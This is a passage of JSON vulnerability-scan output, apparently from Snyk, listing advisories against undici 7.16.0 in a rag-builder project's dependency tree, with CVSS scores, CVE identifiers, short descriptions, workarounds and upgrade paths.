"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.819705Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to CRLF Injection in the `parseSetCookie`. An attacker can inject arbitrary HTTP headers by supplying specially crafted percent-encoded values in the Set-Cookie header, which are improperly decoded and then forwarded into response headers. This can enable actions such as session fixation, open redirect, or cache poisoning. \r\n\r\n**Note:** This is only exploitable if the application parses Set-Cookie headers using the affected function and then forwards the parsed value into a response header without proper sanitization.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing the values returned by the affected cookie parsing functions to strip or reject CR, LF, NUL, ;, and = bytes before forwarding them into response headers.\n## Remediation\nUpgrade `undici` to version 6.27.0, 7.28.0, 8.5.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-p88m-4jfj-68fv)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/25efa447)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/5655ea43)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/d0574cc4)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v6.27.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v7.28.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v8.5.0)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.23619",
"probability": "0.00332",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9679"
],
"CWE": [
"CWE-93"
],
"GHSA": [
"GHSA-p88m-4jfj-68fv"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-06-18T10:54:52.700289Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-17T18:21:27Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-18T10:54:52.865199Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:21:32.080422Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-17372697",
"title": "Use of Cache Containing Sensitive Information",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
">=7.0.0 <7.28.0",
">=8.0.0 <8.5.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.28.0",
"8.5.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.9,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-pr7r-676h-xcf6",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/85a24055",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/cb105d7c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v7.28.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v8.5.0",
"title": "GitHub Release"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-18T05:38:32.530338Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-26T11:01:42.540708Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.9,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:21:31.139487Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 6.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:21:31.139487Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:38:32.530338Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:42.540708Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in the cache interceptor. An attacker can obtain another user's authenticated response data by exploiting whitespace-padded field names in the `Cache-Control` header, causing the cache to incorrectly store and serve private data to subsequent callers, including unauthenticated users.\r\n\r\n**Note:** This is only exploitable if the cache interceptor is explicitly enabled in shared mode, Authorization headers are forwarded upstream, and cacheable responses with non-canonical qualified private or no-cache directives are received.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by disabling shared-cache mode for traffic that includes Authorization headers, avoiding caching responses to authenticated requests, or adding Vary: Authorization upstream.\n## Remediation\nUpgrade `undici` to version 7.28.0, 8.5.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-pr7r-676h-xcf6)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/85a24055)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/cb105d7c)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v7.28.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v8.5.0)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.33549",
"probability": "0.00420",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9678"
],
"CWE": [
"CWE-524"
],
"GHSA": [
"GHSA-pr7r-676h-xcf6"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-06-18T11:01:36.387317Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-17T18:21:38Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-18T11:01:36.559508Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:21:31.139487Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-17372754",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Nadav"
],
"semver": {
"vulnerable": [
"<6.26.0",
">=7.0.0 <7.28.0",
">=8.0.0 <8.5.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.26.0",
"7.28.0",
"8.5.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-vxpw-j846-p89q",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/32dbf0b3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/8cb10f98",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/b7f252e7",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v6.27.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v7.28.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v8.5.0",
"title": "GitHub Release"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-18T05:38:58.234006Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-26T11:01:39.776096Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-07-14T14:04:10.710783Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-14T14:04:10.710783Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:38:58.234006Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:39.776096Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the handling of WebSocket message fragments. An attacker can cause unbounded memory growth and exhaust system resources by streaming a large number of small or empty continuation frames from a malicious WebSocket server.\n## Remediation\nUpgrade `undici` to version 6.26.0, 7.28.0, 8.5.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-vxpw-j846-p89q)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/32dbf0b3)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/8cb10f98)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/b7f252e7)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v6.27.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v7.28.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v8.5.0)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.51977",
"probability": "0.00789",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-12151"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-vxpw-j846-p89q"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-06-18T11:07:08.566966Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-17T18:22:10Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-18T11:07:08.757250Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-07-14T14:04:10.710783Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-17372758",
"title": "Permissive List of Allowed Inputs",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<6.27.0",
">=7.0.0 <7.28.0",
">=8.0.0 <8.5.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.27.0",
"7.28.0",
"8.5.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.3,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-g8m3-5g58-fq7m",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/25efa447",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/5655ea43",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/d0574cc4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v6.27.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v7.28.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v8.5.0",
"title": "GitHub Release"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-06-18T05:38:48.336687Z"
},
{
"assigner": "SUSE",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-06-26T11:01:38.321254Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.3,
"cvssVersion": "4.0",
"modificationTime": "2026-08-12T15:25:44.921338Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-12T15:25:44.921338Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"assigner": "Red Hat",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:38:48.336687Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"assigner": "SUSE",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:38.321254Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Permissive List of Allowed Inputs via permissive substring matching in the `Set-Cookie` attribute parsing. An attacker can weaken cookie SameSite enforcement by crafting a response with a non-standard SameSite value that is interpreted as a more permissive setting, potentially allowing cookies to be sent in cross-site requests. \r\n\r\n**Note:** This is only exploitable if the application consumes Set-Cookie headers from server responses (for example via undici's fetch or proxy code paths) and then forwards or relies on the parsed sameSite attribute.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by validating that the parsed sameSite attribute is exactly 'Strict', 'Lax', or 'None' (case-insensitive) before relying on or forwarding it.\n## Remediation\nUpgrade `undici` to version 6.27.0, 7.28.0, 8.5.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-g8m3-5g58-fq7m)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/25efa447)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/5655ea43)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/d0574cc4)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v6.27.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v7.28.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v8.5.0)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.14969",
"probability": "0.00238",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-11525"
],
"CWE": [
"CWE-183"
],
"GHSA": [
"GHSA-g8m3-5g58-fq7m"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-06-18T11:16:13.940701Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-17T18:22:58Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-18T11:16:14.136307Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-12T15:25:44.921338Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-18426065",
"title": "Interpretation Conflict",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"rampage0010"
],
"semver": {
"vulnerable": [
">=7.0.0 <7.29.0",
">=8.0.0 <8.9.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.29.0",
"8.9.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/9f10f1e9bfcc68b5c8b53d0459cb6d9562008fcd",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-jr45-8vmc-qm54",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T01:30:32.500746Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-08-05T05:51:03.140290Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:09:58.853115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:09:58.853115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T01:30:32.500746Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:51:03.140290Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Interpretation Conflict via the `parseCacheControlHeader` function in `lib/util/cache.js` and the cache interceptor. An attacker can cause a shared cached response containing authenticated data to be stored and later served to another caller by sending a `Cache-Control` header with a qualified `private` or `no-cache` directive padded with optional whitespace around `=`. The parser misreads forms such as `private =\"\"` or `no-cache= \"authorization\"`, so the cache logic fails to recognize the directive as a qualified restriction and treats the response as cacheable. In shared-cache deployments that forward `Authorization` headers, this exposes one user’s response body and cookies to a subsequent request for the same cache key, including an unauthenticated request.\n## Remediation\nUpgrade `undici` to version 7.29.0, 8.9.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/9f10f1e9bfcc68b5c8b53d0459cb6d9562008fcd)\n- [Maintainer's Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-jr45-8vmc-qm54)\n",
"epssDetails": {
"percentile": "0.30942",
"probability": "0.00396",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14643"
],
"CWE": [
"CWE-436"
],
"GHSA": [
"GHSA-jr45-8vmc-qm54"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-07-30T09:24:20.790373Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-29T23:39:52Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-30T09:24:20.957107Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:09:58.853115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-18426521",
"title": "Information Exposure",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"credit": [
"@h0rk1p"
],
"semver": {
"vulnerable": [
">=7.0.0 <7.29.0",
">=8.0.0 <8.9.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.29.0",
"8.9.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.3,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/9f10f1e9bfcc68b5c8b53d0459cb6d9562008fcd",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-4cwx-7wf7-3272",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"cvssV3BaseScore": 9.1,
"modificationTime": "2026-08-05T01:30:22.570415Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-08-05T06:04:05.968446Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.3,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:09:26.371509Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:09:26.371509Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T01:30:22.570415Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T06:04:05.968446Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Information Exposure via the cache-control parser in `lib/util/cache.js` used by `interceptors.cache()`. An attacker can cause a private response to be stored in the shared cache, or terminate request handling, by sending malformed `Cache-Control` directives such as `private=\"\"` or mixed `private, private=\"hdr\"` values from an upstream response. In shared cache mode, a later request with the same cache key can receive another user's cached body and headers, including sensitive `Set-Cookie` data, and mixed qualified/unqualified `private` directives can raise an uncaught `TypeError` that aborts the request.\n## Remediation\nUpgrade `undici` to version 7.29.0, 8.9.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/9f10f1e9bfcc68b5c8b53d0459cb6d9562008fcd)\n- [Maintainer's Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-4cwx-7wf7-3272)\n",
"epssDetails": {
"percentile": "0.44721",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13697"
],
"CWE": [
"CWE-200"
],
"GHSA": [
"GHSA-4cwx-7wf7-3272"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-07-30T12:00:35.394614Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-29T17:46:02Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-30T12:00:35.649779Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:09:26.371509Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-19635206",
"title": "Missing Release of Resource after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
">=7.11.0 <7.29.1",
">=8.0.0 <8.10.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.29.1",
"8.10.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-pmjh-fq2x-6v4x",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/3c6726599cea8646384dde846c97d630da472a74",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-05T05:58:18.962907Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-18T14:03:16.893521Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-18T14:03:16.893521Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-05T05:58:18.962907Z"
}
],
